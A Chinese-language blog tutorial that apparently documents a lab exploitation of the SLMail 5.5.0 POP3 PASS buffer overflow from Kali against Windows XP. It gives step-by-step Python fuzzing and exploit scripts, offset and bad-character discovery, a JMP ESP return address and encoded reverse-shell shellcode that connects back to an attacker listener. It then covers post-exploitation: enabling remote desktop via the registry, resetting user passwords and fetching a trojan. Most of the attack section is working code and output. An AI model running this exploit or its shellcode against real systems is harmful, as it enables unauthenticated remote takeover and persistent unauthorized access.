zoukankan      html  css  js  c++  java
  • 小白日记17:kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    缓冲区溢出实例

    缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

    空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!

    如何发现漏洞:

    1、源码审计

    2、逆向工程

    3、模糊测试(将应用程序,运行在自己设置的合适环境,对其进行调试)

    1.向程序堆栈半随机的数据,根据内存变化判断溢出

    2.数据生成器:生成随机、半随机数据

    3..测试工具:识别溢出漏洞(动态调试工具【逆向工程相关工具】)

    注:

    在进行本机调试时,需把kali的防火墙设置一下,防止在学习渗透过程中受到攻击。

    iptable -A INPUT -p tcpp --destination-port 4444 ! -d 127.0.0.1 -j DORP           #只允许在本机上访问4444端口

    iptable -A INPUT -p tcpp --destination-port 13327 ! -d 127.0.0.1 -j DORP        #只允许在本机上访问13327端口

    环境:【系统缓冲区溢出,多是其服务】

    靶机:winXP【不建议win7、win8,因为XP系统没有安全防护机制】【192.168.1.126】

    目标程序:SLMail 5.5.0 Mail Server(邮件服务器);【ports:50 110 139 8376】

    动态调试工具:ImmunityDebugger_1_85_setup.exe【自动化程序高,可调用python脚本,使用python2.7环境】

    脚本:mona.py【用于定位进程模块,移动仅Debug的Pycommend文件中】   http://www.tuicool.com/articles/N3YFfeE

    操作机:kali2.0【192.168.1.127】

    注:现不能绕过防火墙,需关闭防火墙

    SLMail 5.5.0 Mail Server

    POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。

    DEP:一种结合软硬件安全机制,阻止代码从内存数据页中被执行;【可绕过】

    ASLR(动态内存分配):随机内存地址加载执行程序和DLL,每次重启,内存地址变化

    安装完成后,测试端口

    利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限

    一、测试哪个命令会出现缓冲区溢出

    01.py【最简单的功能实现】

    【注:如何了解应用/协议能接受的固定指令:1、Wireshark  2、RFC【必须理解系统底层和协议底层】】

    #!/usr/bin/python
    
    import socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)               ###将110端口返回的数据显示在屏幕中
       print data
    
       s.send("USER Xuan"+"
    ")
       data = s.recv(1024)
       print data
    
       s.send("PASS test
    ")
       data = s.recv(1024)
       print data
    
       s.close()
       print "
    Done"
    
    except:
       print "Could not connect to POP3!"
    

    02.py【不断增大发送量,通过Debug确定是否会溢出】【若发到数目很大,还没溢出,则可放弃】##大概确定范围

    #!/usr/bin/python
    
    import socket
    
    buffer=["A"]
    counter=100
    while len(buffer) <= 50:
        buffer.append("A"*counter)
        counter=counter+200
    
    for string in buffer:
        print "Fuzzing PASS with %s bytes" % len(string)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect(("192.168.1.126",110))
        s.recv(1024)
        s.send("USER test"+"
    ")
        s.recv(1024)
        s.send("PASS "+string+"
    ")
        s.send("QUIT
    ")
        s.close()
    
    ##通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】
    110端口【SLmail】:netstat -nao【查看=系统进程的PID和端口等信息】

    ###重点关注寄存器

    #ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖

    #EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode

    注:模糊测试过程需不断将服务重启,过程比较繁琐

    03.py【手动尝试,找到溢出范围】

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2600
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    ~                                     

    #缓冲区溢出虽然发生了,但A未修改EIP,则证明溢出的字符数目应在2600~2700之间

    04.py#精确定位【二分法或唯一字符串法】

    #生成2700个每四个字符为一组的唯一字符串,使用kali中metasploit脚本工具

    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb 2700
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
    

    ##将这2700个字符添加进03.py脚本中,作为buffer的参数

    #EIP:39694438#因为在内存中数据的读写顺序与人类读写顺序相反,则此ASCII码应为38 44 69 39

    根据ASCII码表可得此4个字符为8Di9

    #计算偏移量【在此字符串前面有2606个字符】

    root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 39694438
    [*] Exact match at offset 2606<strong>
    </strong>

    05.py【确认是否真为此位置】

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606+'B'*4+'C'*20
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    


    思路:将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行

    #寻找可存放shellcode的内存空间(本章考虑ESP)

    06.py【手动修改C数值,判断内存空间大小是否能放一下shellcode,本章假设ESP寄存器可放3500】

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4)
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    

    #选择ESP,右键:follow in dump

    #从第一个出现C的地址计算到最后一个C的地址  #可以通过右键Hex,选择16进制表示,方便阅读

    ##起始地址为:0167A154 终止地址为:0167A2F4

    #使用科学计算器,windows下,calc->查看->十六进制,减去结果再转化为十进制,得结果为416

    #最小的shellcode为300字节左右,因此ESP足够放下一个shellcode

    #在做模糊测试过程中,因为不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,,这些字符有固定用途。如:null byte (0x00)空字符,用于终止字符串的拷贝操作;return (0x0D)回车操作,表示POP3 PASS指令操作完毕。注:返回地址、shellcode、buffer都不能出现坏字符

    07.py【思路:发送0x00-0xff 256个字符,查找所有的坏字符】

    #!/usr/bin/python
    import socket
    
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    badchars = (
    "x01x02x03x04x05x06x07x08x09x0Ax0bx0cx0dx0ex0fx00"
    "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx10"
    "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx20"
    "x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx30"
    "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4d4ex4fx40"
    "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx50"
    "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx60"
    "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx70"
    "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx80"
    "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fx90"
    "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxa0"
    "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxb0"
    "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxc0"
    "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxd0"
    "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxe0"
    "xe1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffxf0"
    )
    
    
    buffer = "A"*2606 + "B"*4 + badchars
    
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    
    #右键follow in dump

    #此字符后,数据显示异常,则该字符(0A)可能有问题,进行下一步验证【修改0A为某一正常字符重新发送】

    #验证得0A 为坏字符 ;0D为坏字符不出现,缩进一格,全部检查,发现00也被过滤,则可发现该实验中坏字符为:0x00  0x0D 0x0A

    重定向数据流,用ESP的地址替换EIP的值,但是ESP的地址是变化的,不能使用硬编码。在SLMali线程应用程序中,操作系统为每个线程分配一段的地址范围,每个线程地址范围不确定

    变通思路:在内存地址中寻找固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令简介跳转到ESP,从而执行shellcode。利用mona.py脚本识别内存模块,搜素“return address”是JMP ESP指令的模块,寻找无DEP、ALSP保护的内存地址【内存地址不能包含坏字符】{从EIP跳到JMP ESP,再跳到ESP}

    #输入!mona modules 查找模块【选择前四个模块为false,最后一个OS dll为true】

    #OS dll:操作系统动态连接库,表示可运行在任意系统中,若为false则可能在其他系统中不能运行

    !mona modules

    !mona find -s "xffxe4" -m openc32.dll【在该进程模块查找是否有执行JMP ESP的命令】

    【JMP ESP为汇编指令,需转换为二进制指令FFE4】

    #nasm_shell.rb脚本的作用就是用来转换汇编指令

    root@kali:~# locate nasm_shell.rb
    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    nasm > jmp esp
    00000000  FFE4              jmp esp
    nasm > 
    

    #若一个失败继续寻找下面的模块,也有可能找不到,可想别的办法

    双击任意一个指令,在内存数据框中,右键->Disassemble切换为汇编语言

    可去memory map中查看详细内容【看到其基地址等】

    ##因为SLmail本身不支持DEP和ASLR等内存保护机制,所以应该任意一个指令都可以实现跳转。如果有DEP保护,必须寻找到code行Access列中有R E两个权限(属于绕过DEP)

    在该地址,通过设置断点,判断其下一步操作,验证是否能实现跳转

    08.py【验证断点是否正常跳转】

    #因为计算机读取数据为翻转【为跳转地址】

    #!/usr/bin/python
    import socket
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    buffer = 'A' * 2606 + "x8fx35x4ax5f" + "C" *390
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    ~                                      

    #按F7(单步向前执行)

    #将脚本里的shellcode替换成shellcode,则可获得控制

    Shellcode

    可用Scapy编写,也可用./msfpayload -l自动生成shellcode【该工具中含有大量针对各种系统的shellcode】

    ###正向开后门基本杜绝,要进行反向开后门

    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.1.127 LPORT=444 C
    "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45"
    "x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49"
    "x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d"
    "x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66"
    "x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61"
    "xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40"
    "x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32"
    "x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6"
    "x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09"
    "xf5xadx57xffxd6x53x53x53x53x43x53x43x53xffxd0x68"
    "xc0xa8x01x7fx66x68x01xbcx66x53x89xe1x95x68xecxf9"
    "xaax60x57xffxd6x6ax10x51x55xffxd0x66x6ax64x66x68"
    "x63x6dx6ax50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3"
    "xaax95x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxab"
    "x68x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51"
    "x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xffxd6"
    "x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04xffxd6"
    "xffx77xfcxffxd0x68xf0x8ax04x5fx53xffxd6xffxd0";<strong>
    </strong>
    ###过虑坏字符

    ./msfencode -b【编码工具,可将病毒的特征字符编得面目全非,一定程度上可以实现免杀】

    root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.1.127 LPORT=444 R | ./msfencode -b "x00x0ax0d"
    [*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
    "x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13xf9xe1xc8".
    "x2fx83xebxfcxe2xf4x05x8bx23x62x11x18x37xd0x06x81".
    "x43x43xddxc5x43x6axc5x6axb4x2ax81xe0x27xa4xb6xf9".
    "x43x70xd9xe0x23x66x72xd5x43x2ex17xd0x08xb6x55x65".
    "x08x5bxfex20x02x22xf8x23x23xdbxc2xb5xecx07x8cx04".
    "x43x70xddxe0x23x49x72xedx83xa4xa6xfdxc9xc4xfaxcd".
    "x43xa6x95xc5xd4x4ex3axd0x13x4bx72xa2xf8xa4xb9xed".
    "x43x5fxe5x4cx43x6fxf1xbfxa0xa1xb7xefx24x7fx06x37".
    "xaex7cx9fx89xfbx1dx91x96xbbx1dxa6xb5x37xffx91x2a".
    "x25xd3xc2xb1x37xf9xa6x68x2dx49x78x0cxc0x2dxacx8b".
    "xcaxd0x29x89x11x26x0cx4cx9fxd0x2fxb2x9bx7cxaaxa2".
    "x9bx6cxaax1ex18x47x39x49xc9x50x9fx89xc9x93x9fxb2".
    "x41xcex6cx89x24xd6x53x81x9fxd0x2fx8bxd8x7exacx1e".
    "x18x49x93x85xaex47x9ax8cxa2x7fxa0xc8x04xa6x1ex8b".
    "x8cxa6x1bxd0x08xdcx53x74x41xd2x07xa3xe5xd1xbbxcd".
    "x45x55xc1x4ax63x84x91x93x36x9cxefx1exbdx07x06x37".
    "x93x78xabxb0x99x7ex93xe0x99x7exacxb0x37xffx91x4c".
    "x11x2ax37xb2x37xf9x93x1ex37x18x06x31xa0xc8x80x27".
    "xb1xd0x8cxe5x37xf9x06x96x34xd0x29x89x38xa5xfdxbe".
    "x9bxd0x2fx1ex18x2f";
    

    09.py【“0x90”表示无操作,防止shellcode前部分代码被擦除】

    #!/usr/bin/python
    import socket
    
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    
    shellcode = (
    "x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13xf9xe1xc8"+
    "x2fx83xebxfcxe2xf4x05x8bx23x62x11x18x37xd0x06x81"+
    "x43x43xddxc5x43x6axc5x6axb4x2ax81xe0x27xa4xb6xf9"+
    "x43x70xd9xe0x23x66x72xd5x43x2ex17xd0x08xb6x55x65"+
    "x08x5bxfex20x02x22xf8x23x23xdbxc2xb5xecx07x8cx04"+
    "x43x70xddxe0x23x49x72xedx83xa4xa6xfdxc9xc4xfaxcd"+
    "x43xa6x95xc5xd4x4ex3axd0x13x4bx72xa2xf8xa4xb9xed"+
    "x43x5fxe5x4cx43x6fxf1xbfxa0xa1xb7xefx24x7fx06x37"+
    "xaex7cx9fx89xfbx1dx91x96xbbx1dxa6xb5x37xffx91x2a"+
    "x25xd3xc2xb1x37xf9xa6x68x2dx49x78x0cxc0x2dxacx8b"+
    "xcaxd0x29x89x11x26x0cx4cx9fxd0x2fxb2x9bx7cxaaxa2"+
    "x9bx6cxaax1ex18x47x39x49xc9x50x9fx89xc9x93x9fxb2"+
    "x41xcex6cx89x24xd6x53x81x9fxd0x2fx8bxd8x7exacx1e"+
    "x18x49x93x85xaex47x9ax8cxa2x7fxa0xc8x04xa6x1ex8b"+
    "x8cxa6x1bxd0x08xdcx53x74x41xd2x07xa3xe5xd1xbbxcd"+
    "x45x55xc1x4ax63x84x91x93x36x9cxefx1exbdx07x06x37"+
    "x93x78xabxb0x99x7ex93xe0x99x7exacxb0x37xffx91x4c"+
    "x11x2ax37xb2x37xf9x93x1ex37x18x06x31xa0xc8x80x27"+
    "xb1xd0x8cxe5x37xf9x06x96x34xd0x29x89x38xa5xfdxbe"+
    "x9bxd0x2fx1ex18x2f")
    
    
    buffer = 'A' * 2606 + "x03x97x4bx5f" + "x90" * 8 + shellcode
    
    
    try:
       print "
    Sending evil buffer..."
       s.connect(("192.168.1.126",110))
       data = s.recv(1024)
       s.send("USER test"+"
    ")
       data = s.recv(1024)
       s.send("PASS "+buffer+"
    ")
       s.close()
       print "
    Done!."
    except:
       print "Could not connect to POP3!"
    

    先在本地侦听444端口,以便目标机器回连

    #nc -vlp 444###getshell

    ##可完美地重复连接,但有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。

    ##因Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可是实现重复溢出

    ./msfpayload win32_reverse LHOST=192.168.1.127 EXITFUNC=thread LPORT=444 R | ./msfencode -b "x00x0ax0d"

    ############################################################################################

    对命令行模式的getshell不适应,可进入图形化界面

    1、在此基础上ftp下载一个图形化木马管理程序

    2、使用RDP打开windows系统的远程桌面【可通过修改注册表键值】

    C:>echo Windows Registry Editor Version 5.00>3389.reg
    echo Windows Registry Editor Version 5.00>3389.reg
    
    C:>echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg
    
    C:>echo "fDenyTSConnections"=dword:00000000>>3389.reg
    echo "fDenyTSConnections"=dword:00000000>>3389.reg
    
    C:>echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds
    dpwdTds	cp]>>3389.reg   
    echo [HKEY_LOCAL_MACHINESYSTEM ServerWds
    dpwdTds	cp]>>3389.reg
    
    C:>echo "PortNumber"=dword:00000d3d>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    
    C:>echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg
    
    C:>echo "PortNumber"=dword:00000d3d>>3389.reg
    echo "PortNumber"=dword:00000d3d>>3389.reg
    
    C:>regedit /s 3389.reg
    regedit /s 3389.reg
    
    C:>shutdown -r -t 0
    shutdown -r -t 0
    

    ##在kali上安装远程桌面

    apt-get install rdesktop

    rdesktop 192.168.1.126

    ####

    可在命令行窗口模式下修改用户密码,或增加用户和密码获得管理权限

    net user Xuan pass

    打开防火墙的3389端口,也可以用修改注册表来实现【windows系统下几乎所有操作都可用修改注册表来实现】

    ##可使用regsnap【进行注册表实现现状快照,可通过比较修改注册表前后键值变化,找出具体目标,动作需快速】

    小白日记,未完待续……

  • 相关阅读:
    团队活动
    实力提升
    软工人必须要知道的几个工具
    博客/论坛:(技术分享)
    CSS怎样设置多个字体,设置多个字体的时候要注意什么
    canvas绘制bitmap全部填充(当bitmap的宽高小于绘制区域的时候)
    CSS字体
    weditor元素定位异常
    python ImportError: C extension: DLL load failed while importing strptim
    python:导入不同路径下相同名称的模块
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/5988687.html
Copyright © 2011-2022 走看看